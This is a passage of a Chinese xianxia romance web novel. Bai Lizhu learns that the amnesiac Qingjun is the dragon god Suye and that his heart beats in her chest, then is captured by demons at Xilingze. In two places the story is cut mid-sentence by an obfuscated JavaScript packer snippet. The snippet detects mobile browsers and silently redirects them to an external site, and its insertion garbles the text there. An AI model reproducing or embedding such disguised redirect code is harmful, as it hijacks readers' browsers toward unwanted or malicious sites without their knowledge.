青君乐呵呵回答道:“花花好看,但是姐姐更好看。青君要把花花送给姐姐。” 青君虽然神智蒙昧如孩童,身形毕竟是一个成年男子,比白骊珠高整整一个头,他将芍药花擦在白骊珠发髻中时,白骊珠整个人几乎都被他拥入怀中。 他的鼻尖碰上她的额头,他的气息也侵入她的鼻端。她心跳怦然,几乎就要炸裂,跃出体外,跃到天外而去,她的脸色也被他的气息,晕染出醺红,手脚都不知道该怎么放才好。 在一旁观望的陆崖心中一动。在离开濯水居之前,他特地与白骊珠话别,他郑重其事道:“白姑娘,我有一件事要同你说。” 白骊珠在濯水居见过陆崖多次,却少见他如此认真,便道:“陆崖大君有话直说便是。” 陆崖道:“白姑娘悉心照顾青君,我很是感激。但是有一件事我要提醒白姑娘,不要在他身上投注太多的情感,也许他永远无法回应你这份真情。” 白骊珠那时并不明白陆崖言外之意,答道:“大君多虑了。我照顾青君,只因为他救了我,对我有恩,我对他好也是应该的,并不是为了从他身上得到回报,更不是为了让他有朝一日回应我的真情。” 陆崖叹息一声,道:“白姑娘,在开始的时候,一个人对另外一个人好总是不求回报的,可是日子久了,如果当真没有半分回报,总是难免失望。我已经失望过了,只愿你不要重蹈覆辙。” 白骊珠并不完全明白陆崖这番话的意思,她要再问时,兽族大君已经离开了濯水居。 到第三年的时候,众人的努力卓有成效,青君的神智也慢慢恢复,白骊珠也一日一日感觉到青君越来越与从前不同。 从前,青君总是黏着她,吃药要她喂,吃饭要她陪着,玩耍也与她一起,就算晚上休息时,也同处一室,只是用屏风分成两个隔间。 可是随着青君逐渐恢复,事情也慢慢有了变化。 青君渐渐开始不需要她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15038347|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照顾,有一天早上,白骊珠照例早起为他煎药,却发现青君自己搬了板凳坐在药炉前,药炉里散发出阵阵苦味,那副汤药已经熬到一半。青君道:“姐姐辛苦,你坐在一旁看着就好,熬药的事情我可以自己来……” 白骊珠感到欣慰,颇有一种自家弟弟长大了,知道心疼姐姐的满足感。 她也厌倦了日复一日的熬药生涯,见青君主动接过这活,便卸下了这副担子。那时,她刚刚开始跟着姑姑学习炼器之道,青君熬药的时候她就在一旁看书,鼓捣一些简单的法器。 一年又一年,白骊珠醉心于自己在炼器之术上的进步,关注青君的时间慢慢减少。 在第三年,她独立完成了一件新的法器,忽然想起青君已经很久没有缠着她玩那些从前喜欢的游戏。她找到青君时,见到对方正坐在曾经禁锢他的那座石台上,呆呆望着天空。 白骊珠叫他,青君回头看她,叫了一声姐姐。不知为什么,青君的模样分明跟两人认识之初没有任何变化,白骊珠却感觉他好像换了一个人一样。 慢慢她发现,在她没有注意到他的时候,他总是看着天空发呆,不知在想些什么。他变得沉默寡言,就算白骊珠主动和他聊天,他也没有兴致。 白骊珠开始觉得不对劲了,她放下手中的事,每天花更多的时间陪伴青君,然而青君对她越来越冷漠,她对他说十句话,他也未必会回应一句,只有每天早饭午饭时,才会愿意和她说一两句话。 不知从哪一日开始,青君对食物的兴趣也开始慢慢消失。白骊珠知道,青君只是神智受损,实则妖力远甚于她,他这种能为的大妖早就可以辟谷,不需要进食。但白骊珠觉得,一家人就应该每天三顿在一张桌子上吃饭,她视青君为自己的家人,所以每天都会和青君一起吃饭。 她一开始觉得也许是青君胃口不好,以至于食欲不佳。 她想青君喜欢吃海桑果,于是走了很远的路,亲自去珊瑚海的海底采了整整一篮子海桑果回来。 她像从前一样,将海桑果剥去外皮,送到青君唇边,哄道:“青君,姐姐给你摘了你最爱的海桑果,你尝尝吧——” 青君冷漠地摇了摇头,道:“你不用白费心思了,我说了我对食物没有兴趣。” 白骊珠不死心,“青君,是不是姐姐这些天陪你的时间少了,你生气了。这海桑果是姐姐费了好大力气采的,你尝一个好不好?” 青君不耐烦道:“你烦不烦,我说了不吃——” 他伸手将白骊珠推开,那篮海桑果滚落一地。青君却熟视无睹,他从白骊珠身前走过,将鲜嫩的果肉踩得泥泞一片。 白骊珠看着他离开的背影,泪水不争气地在眼眶里打着转,最终还是掉了下来。 她从前一心只希望青君可以早日恢复。她想,他既然为救她付出偌大的代价,他一定是一个顶好顶善良的人,等他恢复了,她就可以认识到真正的他。 可是现在她又觉得,青君还不如维持着从前四五岁神智的时候呢。最少,那时候青君整天黏着她,她每天只要看到他的笑容就会感到开心和满足。 如今呢,上一次青君笑是什么时候,她已经想不太起来了。 她想起陆崖曾经说过的话。 “有一件事我要提醒白姑娘,不要在他身上投注太多的情感,也许他永远无法回应你这份真情。” “白姑娘,在开始的时候,一个人对另外一个人好总是不求回报的,可是日子久了,当真没有半分回报,总是难免失望。” 原来,陆崖说的是真的。 她并不求青君给她回报,但是却受不了自己的一颗真心被人践踏。 她伤心得大哭了一场。 37. 第 37 章 第二天,白骊珠跟着姑姑修习时,一双眼睛还是肿得核桃一般。 白舒眉察觉异样,询问其中因由。白骊珠吞吞吐吐,将青君最近的变化告诉姑姑。 白舒眉神色一僵,良久叹道:“没想到,天道的诅咒如此厉害,就算失去水晶之心,也无法改变最终的结果吗?看来陆崖的计划彻底失败了。” 白骊珠听得一头雾水:“天道的诅咒是什么?水晶之心是什么?还有陆崖大人的计划又是啥?” 白舒眉道:“你可知道青君的真实身份是谁?” 白骊珠摇头,她并未私下猜测过青君的身份。她只需要知道是他救了她就足够了,他是谁并不重要。 白舒眉道:“他的真实身份正是水族之主,龙神溯夜大人。” 白骊珠惊呼道:“溯夜大人?” 她忆起了这个名字,她想起那天她与母亲告别之时,母亲对她说:“……你的父亲已经派了族人去龙神居住的北海向溯夜大人求救,溯夜大人是水族之主,有移山造海之能,如果溯夜大人能够及时赶到,一定能挽救长月海,挽救白鱼一族……” 白舒眉轻叹:“长月海大灾变那天,西陵泽的魔族封印同时松动,大量魔物窜出,溯夜大人和陆崖大人赶往封印之处。等溯夜大人将魔族重新封印,才得到长月海灾变的消息。他赶往长月海之时,白鱼一族已经彻底覆灭,无一人幸存……” “无一人幸存……”白骊珠喃声道:“不对啊,我不是活得好好的吗?姑姑不是说青君救了我吗?” 白舒眉目光哀伤,“不错,是龙神大人救了你。只是他到长月海之时,你已经因为海水干涸被埋入泥沙中窒息而死。龙神溯夜将龙神之心给你,你才拥有了第二次生命。溯夜失去龙神之心,变得痴傻,心智犹如孩童。如今看来,随着龙神的智识慢慢恢复,天道的诅咒再次降临在他身上。” 白骊珠不解:“天道的诅咒又是什么?” 白舒眉道:“初代龙神违背天道,封印魔族于西陵泽。天道因此降下‘无限轮回,永世孤独’的诅咒,作为对他的惩罚。因为这个诅咒,龙神无心无情,不会对任何人生出任何的感情,无论亲情、友情还是爱情都不会有……” 白骊珠脑子里嗡的一声,仿佛被什么东西重重杵了一下,登时一阵钝痛传来,她捂着胸口踉跄着后退两步,扶着墙根这才站定。 白舒眉见她捂着胸口神色不好,扶着她坐下,“珠儿,你怎么了,是不是心脏不舒服……” 虽说白骊珠因龙神之心复活之后,从没有产生过什么排斥的反应,但毕竟并非这具身体原先的心脏,白舒眉还是不免忧心起来。 过了好一会,白骊珠才觉得心口那阵闷痛消失。她恍惚间忆起这几年发生的事情,很多她觉得迷惑的事情都有了答案。 为什么白舒眉对痴痴傻傻的青君恭敬异常,并不像是对待救命之人的态度,更像是对待上司。 为什么身为兽族之主的陆崖这些年为了青君四处奔波,每次来去匆匆都只为了找寻能够让青君恢复的药材。 为什么陆崖会说不要在青君身上投注太多的情感,因为他永远无法回应她的感情。 原来,他是水族大君,是封印了魔族的龙神,是整个妖族的大英雄。她是因为得到了龙神之心才得以死而复生,难怪她每次靠近他都心跳不止,原来她的心是因为他而跳动…… 门外传来守卫的通报声:“主人,兽神陆崖到访……说是西陵泽的封印近日来躁动不安,陆崖大人来与主人您商议,问青君最近恢复得如何?” 白舒眉面露忧色:“你们请陆崖大人到前厅等着,我马上就来。” 她转头对白骊珠道:“骊珠,你先回房休息一会。西陵泽的封印非是小事,我先去见陆崖大人,晚点再去看你。” 白骊珠扯住她的衣袖:“姑姑,我和你一起去。” 白舒眉摇头:“骊珠,你还小,这些都是妖界大事,与你没有关系。” 白骊珠:“怎么会和我没有关系。陆崖大人是为了西陵泽的封印而来,也是为了青君而来。如今龙神之心既然在我身上,这件事情就和我有关系……” 白舒眉拗不过她,两人一起去前厅见陆崖。 再次见到陆崖,两人都吓了一跳。兽神大人少有的狼狈,一身白衣被鲜血染红,素来皎如明月、不染纤尘的脸上都是狰狞的伤口,全无往日的优雅姿态。 白舒眉连忙问道:“陆崖大人,这是怎么回事?您怎么搞成这样?” 陆崖道:“还能是什么事,西陵泽的封印这两年越来越松动,溯夜那家伙管不了事。以前,只有溯夜的力量才能对付那些魔物,这次我和翎天、鳞昆、山岐四人合力,才勉强将逃窜出来的魔物封了回去。除了翎天伤势轻点,我和鳞昆、山岐都差点去了半条命。” 白骊珠听得一愣,她自小无忧无虑地长大。后来长月海覆灭,她跟随在姑姑身边,也不怎么关心妖界大事。对西陵泽的魔族封印不过一知半解而已。但她也知道,能让妖族四位大君齐齐受伤而归,应是足以关系到妖界生死存亡的大事。 陆崖苦笑道:“上次在长月海,溯夜对我说西陵泽的封印能管三百年,没想到连五年都不到就出了问题,我真的要被他害死。现在其他三族的大君都找我要人,要我将溯夜找出来,让他去解决西陵泽的难题。这可难死我了,我要哪里去找一个完好无缺的溯夜还给他们……” 他眼珠一转,睐了一旁的白骊珠一眼,温雅笑问:“白姑娘,不知道这几个月以来青君的情况可有好转?” 白骊珠想起青君近日的状况,一时恍然,不知如何作答。若论神智的损伤,确实较之上次陆崖离开之时恢复了不少,然而她很难说现在的情况是好是坏…… 陆崖见她沉默,只道青君恢复情况并不理想。他眉心微微蹙起,说道:“说起来上次的药应该用完了。这样吧,我再想办法偷偷潜入魔族领地中,猎杀一只灵魔,炼化他的灵力入药。如今这般,也只能死马当作活马医了。” 他振衣而起,就要离开。 白舒眉面露焦色道:“怎的如此着急?陆崖大人伤势尚未痊愈,再冒险进入魔族领地猎杀灵魔,风险太大……若是万一殒身其中,兽族又当如何?” 陆崖再次苦笑道:“白大师不必劝我,当年之事,我既没能成功阻止他,如今西陵泽的事我少说也要负一半责任。如今,唯寄希望于能以灵魔的灵力入药,就算他只恢复至从前七八成,先解决了眼前的大事再说。若是西陵泽的封印彻底破碎,妖界五族同陷劫难,兽族又当如何?我若回不来,指望将来他恢复之后,白大师转告他一句话……” 白舒眉道:“什么话?” 陆崖道:“不管他认不认我这个朋友,陆崖此生不后悔认识他这个朋友。” 他转身决然离去,白骊珠忽道:“陆崖大人,等等……” 陆崖回头:“白姑娘还有什么事?” 白骊珠咬住嘴唇,抬眼望向他:“陆崖大人本不须如此奔忙,还有一个一劳永逸的解决办法。” 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15049217|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崖闻言停住,“什么办法?” 白骊珠声音微微颤抖:“解铃还须系铃人,只要将龙神之心物归原主,一切难题自然迎刃而解。” 陆崖一怔,目中愕然,“白姑娘怎么会生出这种想法?”他忽地一顿,“等等,你已经知道了?” 他转头望向白舒眉,不赞同地道:“白大师怎么能将龙神之心的事告诉白姑娘呢,白姑娘知道这事对目前的局面并无助益……” 白舒眉轻声一叹:“陆崖大人,方才骊珠沉默并非因为青君的情况没有好转。恰恰相反,青君最近的神智恢复非常迅速……” “是吗?这是好事……”这于陆崖是意外之喜,不过,他很快敛起笑容,“如果是这样,为何白姑娘脸上毫无欢喜之意?” “问题恰好也是出在这里。陆崖大人,我们原先的构想错了。我们原以为,没有了水晶之心,龙神的心腔就会生出一颗血肉之心,他便能从此摆脱天道的诅咒,从此为自己而活。可是我们错了,龙神大人虽然神智开始恢复,可同时恢复的还有他无心无情、拒人于千里之外的真性情。”白舒眉道:“这样的龙神有多伤人,陆崖大人应该深有体会。” 陆崖移回目光,重新着落在白骊珠身上,似乎明白了什么。 “莫非白姑娘便是因此受挫,自暴自弃,从而有了弃世之念,想要还心于龙神,一了百了?白姑娘切不可有如此想法,就算如今西陵泽封印告急,那也是大君们的事,和小姑娘没有关系……” 陆崖不赞许地摇头道:“至于在溯夜那里碰钉子,那是再正常不过的事了。我认识溯夜几千年了,这几千年碰的钉子加起来应该足够堆成一座铁山了。但是这并非白姑娘你的过错,也并非代表龙神不会回应你的感情,只是这是天道加诸龙神的惩罚,使他无法回应而已。” 白骊珠略微有些吃惊。 数月之前,陆崖曾经警告她,不要在青君身上投注太多的情感,他不会回应她的感情。时间久了,总归是要失望的。 她没有听进去他的警告,在青君那里碰得头破血流之后,他竟然换了一种说辞。 但她生出还心的想法,并不仅是因为在青君那里碰了钉子,更是因为今日陆崖来濯水居提及关于西陵泽的封印之事。 陆崖说得模棱两可,但也足够她了解个中事实。正是因为长月海大灾变之后,溯夜用龙神之心救她,神智和修为不损,无法维护西陵泽的封印,以至于里世界魔族蠢蠢欲动,陆崖加妖族另外三位大君加起来也不过勉强维持局面。 她心中感到惶恐,如果为了她一人可以活命,而致使整个妖界覆灭,生灵涂炭,她怎敢担负这样的罪业。 而且她心中还有少女未可告人的隐秘心事,她想,她如果将龙神之心还给他,是不是能在他心里留下一点点与众不同的印记,让他从此记住她,成为他心中的独一无二,就算是让她付出生命的代价,也不感到可惜。 她刚生出这样的想法,就听到陆崖正色道:“白姑娘,切勿做此想,天道的诅咒并非如此轻易就可以消弭。我可以保证,就算你还心于龙神,他也不会有一丝丝记得你,在他心中,你和路边的小花小草没有任何区别。” “生命只有一次,白姑娘能死而复活,已是龙神逆天而行的结果。你活着,本身就是龙神的意志。白姑娘若真想成为溯夜心中的独一无二,就该好好活着,让他的心因此而跳动。就算他恢复神智无心无情又如何,他总有一颗心在你身上。” “而这或许才是解决问题、一劳永逸的关键。” 38. 第 38 章 白骊珠震惊无比。 她这个念头才发起于心,尚未宣之于口,陆崖是怎么知道的? 错愕之间,只见一片小小的白色灵光从她心口浮起,向陆崖飞去。 陆崖面色有三分歉然,道:“抱歉,白姑娘,我方才对你使用了读心术。这让我知道了你方才心中真实的想法。” 白骊珠:“读心术?” 如此说来,自己的任何想法岂不是在陆崖眼中无所遁形,包括她对青君那些不知何时生出的隐秘情愫——就算眼下明知道青君就是龙神,不会爱上她,心中仍无法熄灭的荒诞妄想。 明明她之前信誓旦旦说她对青君的感情不求任何回报,却不由自主地因为青君的冷漠而伤心,甚至想一死了之,求一个解脱。 她已经够可笑了,一点也不想这一切的一切被第二个人看到,放在光天化日之下。 她下意识地后退一步,想要离陆崖更远一些,却又觉得不够,恨不得找到什么东西将自己的脑子缝起来,不使人窥视。 陆崖见到她的不安,柔声道:“白姑娘不必紧张。每位妖族大君都有自己独一无二的天赋能力,我的天赋便是以灵光为指引,知悉他人心中所想。当然,干系他人隐私,我一般不会随意使用。龙神之心在你身上,白姑娘你是最有可能打破天道诅咒的之人,却生出求死之念,我才对你使用此术,只是想知道你的真实想法。若是白姑娘你不喜欢,我以后都不会再对你使用此术。” 那抹灵光在陆崖手中消失不见,白骊珠舒了一口气。她想起陆崖刚才说的话,问道:“陆崖大人说,我是最有可能打破天道诅咒的人?” 陆崖点头道:“不错。因为,你是第一个让青君,也就是龙神溯夜生出感情的人。” 白骊珠苦笑道:“陆崖大人高估我了,青君对我并没有生出感情。” 陆崖微笑道:“白姑娘太小看自己了,那天我白姑娘教青君编花绳,之后送给他一枝芍药作为奖励,那时我对青君使用了读心术。当时青君心里想的是:‘骊珠姐姐真好看,就和花花一样好看。我喜欢她,我要一直一直和她在一起’。” 白骊珠“呀”了一声,脸颊微红。 她当然还记得那天发生的事。那天其实到后面她有些生气不耐烦,可是当青君最终学会翻花绳的时候,她心中的火气全消。见到青君傻呵呵的微笑,心中是前所未有的满足,没想到他当时是这样想的。 陪伴青君的那些年,她以为自己是在没有希望的痛苦中煎熬,可是此刻回想,那竟是一段无比快乐与满足的日子。 这时,白舒眉插言道:“陆崖大人,就算青君当时真的生出感情,可是失去神智、灵心蒙昧,未见得是真正的喜欢。” 陆崖温雅道:“我倒是有不同的看法,灵心蒙昧,所以喜欢就是喜欢,无任何利益考量、无任何利弊权衡,发之于心,坦坦荡荡,是最天然的真心。自溯夜诞生以来,这绝对是开天辟地的头一遭,所以我才说你是最有可能打破天道诅咒的那个人。” 他挑唇一笑,目光中似有深意流动:“白姑娘,须知甜蜜往往生于苦涩之中,希望往往从绝望中而来。如果白姑娘真的像你上次所言,喜欢青君不求任何回报,我可以向白姑娘你承诺,终有一天你会得偿所愿……他总有一天会爱上你,你们会幸福快乐地生活在一起……这是我,妖族兽族大君陆崖对你的保证。” 白骊珠心头掠过一阵巨浪。 她与陆崖算不上熟悉,在听到了有关于妖界诸位大君的掌故中,陆崖也是战力最为拉胯、最没存在感的一位,可是此刻从陆崖的目光中,她却感知到了一种安宁、平和,一种予人希望的神性力量。 没由来的,她相信了他的承诺,她轻声问道:“陆崖大人,你为什么帮我?” 陆崖道:“白姑娘,我并不是为了帮你。而是,为了帮助溯夜。我认识溯夜多年,他从不视我为友,但是我却亲眼见证他为了妖界的安全和稳定付出偌多,得到了却只是诅咒,从无一丝回报。他值得爱与被爱,不应该受到天道无情的诅咒。” …… 两人谈话间,一名后院的守卫来报:“白大师,不好了,中午我们巡逻之时,发现青君失踪了,我们在濯水居四处寻找都没有找到,只在桌上发现了一张书信,应该是青君所留下。” 陆崖、白舒眉、白骊珠三人面面相觑,同感意外。自从青君失去神智以来,没有人见过他执笔写字,更不要说留下书信了。 白舒眉接过书信,上面只有一行字:“西陵泽有变,我去看看。我不会再回濯水居,不必等我回来。” 落款是两个笔力劲挺的大字:溯夜。 白舒眉将书信交给陆崖,陆崖看后叹道:“看来他的神智真的已经恢复了,也感知到了西陵泽的变化,所以才离开。这硬邦邦的语气还真是,一如既往的无情啊……” 陆崖一顿:“我先去西陵泽找他,两位留在濯水居等我的消息即可。” *** 白舒眉本来以为龙神溯夜既然回复,西陵泽的封印不久就可以重新加固,谁知情况恰恰相反。七天之后,传来西陵泽的魔族封印彻底破碎、魔族倾巢而出的消息,以及蛇族的大君战死、羽族女王翎天和兽族大君陆崖重伤的噩耗,龙神溯夜发出召妖令,召集妖界第七境以上的高手前往西陵泽支援。 魔族滋生的魔瘴之气对妖族来说,是无解的毒药。修为低的小妖们仅仅只是沾染了一点魔瘴之气,也会身体溃烂而死,只有炼神期以上的妖族高手才能勉强抵抗魔瘴之气。 数万年以来,每次西陵泽的魔族破封而出,若是五位大君无力抵抗,历代龙神最终都会发出召妖令,号召妖界高手参战。 事关整个妖界的生死存亡,召妖令之下,也无人避战。白舒眉身为妖界第一炼器师,自身也是第七境的高手,当即响应号召往西陵泽参战。 白骊珠在武学上天赋不佳,不过第四境的修为,离最低标准第七境相差整整三个位阶,并不在召妖令之列。白舒眉交代让她留守在濯水居,便一个人去了西陵泽。 在濯水居等待的日子,白骊珠每天提心吊胆。自长月海覆灭之后,姑姑和青君就是她最亲近的人,如今两人都在西陵泽与魔族大战,她又如何能在濯水居安心等待,什么也不做。 半个月之后,西陵泽再次传来消息,兽族大君陆崖重伤濒死,白骊珠再也坐不住了。陆崖虽然实力无法与其他大君相比,但他颇具智慧,一般不会以身涉险,如果连他都重伤濒死,可见西陵泽的大战已到了十分危险的程度。 青君,不,应该是溯夜失去龙神之心,修为必定大打折扣,他真的能率领妖界五族击退魔族,重新封印西陵泽吗? 她惶惶不安,第二天就独自离开濯水居,前往西陵泽。 她来到西陵泽外围,便见到内中紫色的瘴气冲天,外溢而出,很多未及逃出的小妖受到瘴气感染,横死路上,还有修为高一点,皮肤溃烂,流出脓血,拖家带口,往妖界其他地方迁徙。 白骊珠逆着人潮而行,一路上所见的妖族生灵人人拖家带口,向安全之地迁徙。有大妖们见她的妖能平平,都劝她跟着他们一起逃命,白骊珠不听任何人的劝说,执意往西陵泽而去。她想,不管怎么说她,她非得走到西陵泽才行,就算只剩下最后一口气,她也一定要见他一面。最坏的结果,就是她死在西陵泽,正好将龙神之心还给他。 如果有龙神之心,他一定能重新封印西陵泽,这样妖界就有救了。 反正她早在五年前就应该是个死人了,是龙神之心让她多活了这些年,说起来她已经赚了。 不知是不是龙神之心的缘故,她竟然 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西陵泽本身是位于羽族所居的西陆和水族所居的北陆之间的一片沼泽,水草丰美,资源丰富,在魔族封印稳定之时,这里也是不少水族和羽族共同的家园。 可如今入眼之处,只有遮蔽天日的紫色魔雾,脚下的土地开裂,草木尽皆枯萎,一派荒凉景象。 妖族大军的营地就在西陵泽入口的不远之处。大妖们被分为两组,轮换作战,如果受伤就留在营地里养伤,伤好之后就继续投入战斗。 她没有见到自己的姑姑白舒眉和青君。 溯夜自从到了西陵泽,一直在魔渊最深处与魔将作战。白舒眉作为全场唯一的大炼器师,承担着帮助大妖修复灵器的工作,整日忙得不可开交。 只有陆崖因为受伤,不能动弹,因此退下来养伤。白骊珠带着乌金金见了陆崖,说了“破魔丹”的事,陆崖大喜过望,他亲自试药,确认确实有用之后,便让乌金金将“破魔丹”分发给受到魔气侵染的大妖们。 普通妖族难以抵抗魔气侵袭,如今在西陵泽作战的都是各族最精锐的战士,能够照顾和护理伤员十分稀少。战况紧急,很多受伤的大妖们缺少医药,无人照料,濒临死亡边缘。白骊珠和乌金金见到这种情况,便留下来,照顾受伤的战士。 白骊珠也开始忙碌起来,偶有闲暇之时,她便忍不住朝西陵泽深处眺望。 自那日她和青君因为海桑果不欢而散,之后青君留下书信离开濯水居,已经整整两个月,他们都没有再见过面。 在濯水居的五年,她与青君朝夕相对,她早已习惯身边有那么一个人。分开的两个月,她每一天都十分想她。有时候午夜梦回,都忍不住看向西陵泽的方向,希望他有一天能回到濯水居,对她说:“姐姐,我回来了。” 然而,她明知他不会再回濯水居了。 自从知道他是溯夜,知道他因为天道诅咒,不会对任何人生出感情之后,她在心中早已原谅了他。她想,他那日摔了她采的海桑果,或许正是天道加诸于他的桎梏,并非他的本心。 他恢复神智,也恢复了身为水族大君,众妖之首的尊贵身份,不会再是濯水居曾经那个蒙昧无智、事事仰赖于她、离不开她、会叫她“姐姐”的青君。 同样,他也恢复了无心无情的心性,也许他再见她时,视她如路边的草木石头,不会再多分一丝目光在她身上,而她仍思念他,想再见他。 有时候,她甚至会想,龙神在战斗中会受伤吗? 他如果会受伤,会像陆崖一样回到营地养伤吗? 她有时竟会希望龙神也会受伤,她就可以再见到他了。 可事实让她失望了。来到西陵泽整整一个月,她也没有接到溯夜受伤的消息,溯夜也没有来到伤员驻扎的营地。 39. 第 39 章 白骊珠在西陵泽大营待了一个月,虽然没有见到溯夜,倒是也听说了不少前线的消息。 这一个月以来,妖族大军与魔族僵持,迟迟无法将魔族重新封印。据传因为此事,羽族女君翎天和溯夜时有争执,翎天认为战事失利的主要原因在于龙神溯夜领导不力,要求溯夜交出妖族最高指挥权,虽说并未得到其他几位大君的支持。但羽族女君的公开质疑对龙神的威信带来了负面影响。 另外,连日来的大战极其惨烈,一个月之后,破魔丹便消耗得七七八八。 破魔丹能够帮助大妖们抵抗魔气侵袭,羽族女君翎天便命令乌鸦一族再炼制一批丹药。 乌金金本来就是乌鸦一族的药剂师,擅长炼药。破魔丹的配方她也知道,其中大部分都是些常见的药材,也很快备齐,只有一味紫花菖蒲奇缺。 紫花菖蒲本产于西陵泽东南的风来湖边,从前魔族封印稳定时并不难取得,而此番妖魔大战开启之后,这味药材顿时变得紧缺起来。 好在如今妖魔大战的主要阵地是在西陵泽北方,离紫花菖蒲产地相隔甚远,乌金金决定冒险到水泽深处采药,白骊珠听说了之后,决定和她一起去,两人之间也好有个照应。 采药之事也算顺利,两人早上出发,傍晚时分已经采够了足够的紫花菖蒲,两名少女沿着来时的道路返回。 忽地,白骊珠停下脚步,对乌金金道:“等等,停下。” 乌金金问道:“怎么了?” 白骊珠道:“有魔物。” 她从风中感知到了浓烈的魔息,那是一种极为浓烈阴湿的腐臭味,她这些日子照顾受伤的战士,对这种味道极为熟悉,隔着老远就能闻到。 两人转身就逃,但是魔物的速度极快,几乎瞬息之间就到了眼前。 那是白骊珠第一次见到魔族。 他们有着人形的轮廓,却并无实体,如同虚影一般。仿佛是有浅紫的烟雾构成,五官之处的烟雾格外浓郁,特别是一双眼珠呈深紫色,仿佛黑洞一般。这些黑色的烟雾对于妖族来说如同剧毒,只要沾上,就足以湮灭修为不足的妖族,只有修为深厚的大妖才能勉强抵御。 魔族一共十几人,封锁了四面八方,将白骊珠和乌金金围在中间。 白骊珠慌乱之中发出一掌,掌气从一团紫色的烟雾中透过,掌气所经之处,绽放出白色的光芒,白光灼烧着紫烟,中心流出某种黑色的类似血液一样的东西。 那魔物发出一声痛呼,他抬起头,视线落在白骊珠身上,声音中透着不可置信:“不过区区第四境的小妖,甚至没有成为战士的资格,竟然能伤到我,你是谁?” 领头的魔族首领望向左右两只魔物道:“你们两个,去给他疗伤。” 两只魔物靠近受伤的同伴,用他们的紫色魔气给他疗伤,那紫气一遇到白光,便被灼伤殆尽。很快白光的范围越来越大,那受伤的魔物不但没有得到救治,反而化为一摊黑血。 那魔族首领身上紫烟闪烁,他凝神看向白骊珠:“你身上竟然有着龙神溯夜的力量,最纯粹的水晶之力,足以腐蚀湮灭魔族的力量。甚至……你的力量比溯夜本身更加纯粹——你和溯夜是什么关系?” 忽地,他发现了什么,惊声叫道:“没想到龙神之心竟然在你身上,我就说溯夜的实力比从前降了不少。原来他竟然将龙神之心给了别人……”他哈哈大笑起来:“没想到溯夜竟会干这么蠢的事,为了救一个死人放弃自己最强大的天赋之力,真是天佑我族,我族冲破西陵泽的封印就在此一举了……” 白骊珠明白了,刚才她误打误撞杀死那个魔族是因为龙神之心在她身上,因而她能够使用龙神的力量。 这不是一般的妖力。 就如同普通的妖类,接触到魔息会死一样,最为纯粹的水晶之力于魔族也是剧毒,能迅速灼烧腐蚀魔物的身躯,使他们化为一摊血水。 她终于有些明白了,为什么同为妖族大君,陆崖却说只有溯夜的力量才能够对付西陵泽的魔物。 既然龙神之力对付这些魔族颇有奇效,白骊珠胆子更大了一些,她将乌金金护在身后,呛声道:“现在知道我的厉害了吧?赶紧让路让我们离开,不然我杀了你们——” 那魔族首领却哈哈大笑起来:“本座得知情报,风来湖边会有意外的收获,还真是令人意外的大收获。如今西陵泽的战事我魔族正占优势,只要俘虏了你,再封印龙神之心,龙神溯夜对我魔族便再无威胁——” 他下令道:“一起上,抓住这两个小妖……” 白骊珠低声对乌金金道:“一会打起来,你先走,我来拖住他们。” 乌金金:“可是骊珠你怎么办?” 白骊珠道:“我有龙神之力,自然有办法脱身。你身上带着紫花菖蒲,这可是炼制破魔丹的关键,不容有失。你回去之后,让陆崖来救我。” 白骊珠虽有龙神之力,但她清楚自己的实力,以寡敌众,未必是眼前魔族的对手。而且,她才是对方的目标,如今之计,只能先保住乌金金和她手中的药材,再图后援。 想到这里,她虚晃一招袭向魔族首领,然后往相反的方向跑去。果然,魔族们都追着她跑,乌金金趁乱朝营地的方向奔驰而去。 白骊珠一路狂奔,她对西陵泽并不熟悉,不辨道路,就像一只无头苍蝇一般乱窜。她的天赋并不擅长格斗,是以也没有学过那些杀敌的路数,被追了急了,便随意发掌,有时候能打中魔物,有时候打不中。 她不知道自己逃了多久,等太阳再次升起时,追她的人只剩下那个魔族首领,其他的魔物不知是死了,还是掉队了。 那魔族首领不知是害怕被龙神之力灼伤,还是不想杀她,他追得并不紧,却也不想让白骊珠逃脱。白骊珠对他出手多次,都被他躲过。而他每次出手,白骊珠身上都会多出一片被魔气腐蚀的伤口。 她虽有龙神之心,魔气对她而言并不致命,但魔气入体,经脉灼伤,仍然让她觉得疼痛无比。 追逃一夜,她的妖力几乎耗尽,已经无力再逃,这时她前方出现了一座大湖,正是昨日她和乌金金采药的风来湖。她绕了一大圈,竟然又回到这里。 白骊珠强撑着朝风来湖逃去,她受魔气侵蚀已久,四肢百骸再无一丝多余力气,如今唯一的机会就是逃入水中。她本是水族,在水中本就比陆上更加灵活自由,更有机会逃生。 风来湖近在眼前,她纵身一跃,身体已化为一尾巨大的白鱼,向水中而去。 她方才入水,便感觉不妙,水下已潜伏了好几只魔物。水下有一张巨网,向她网罗而来。她知道中了敌人埋伏,慌忙之中重新化为人形,想要脱水而出,可她身上的巨网化作紫色的粘稠黏液,迅速爬满她的全身。 在她脱水的那一刻,那些紫色黏液迅速凝固,将她包裹其中。更不妙的是,不知那紫色黏液是什么物质,浸入她的身体之中,她的肢体迅速僵硬,石化。 她立在岸边,动弹不得,就像一尊石像一般。黏液从下至上封住她的嘴巴,包裹住她整个面庞。她已经不能说话,只剩下一双眼睛还露在外面。 那魔族首领走到她面前,得意洋洋道:“水族的小妖,你一定很想知道这是怎么回事?对不对?” 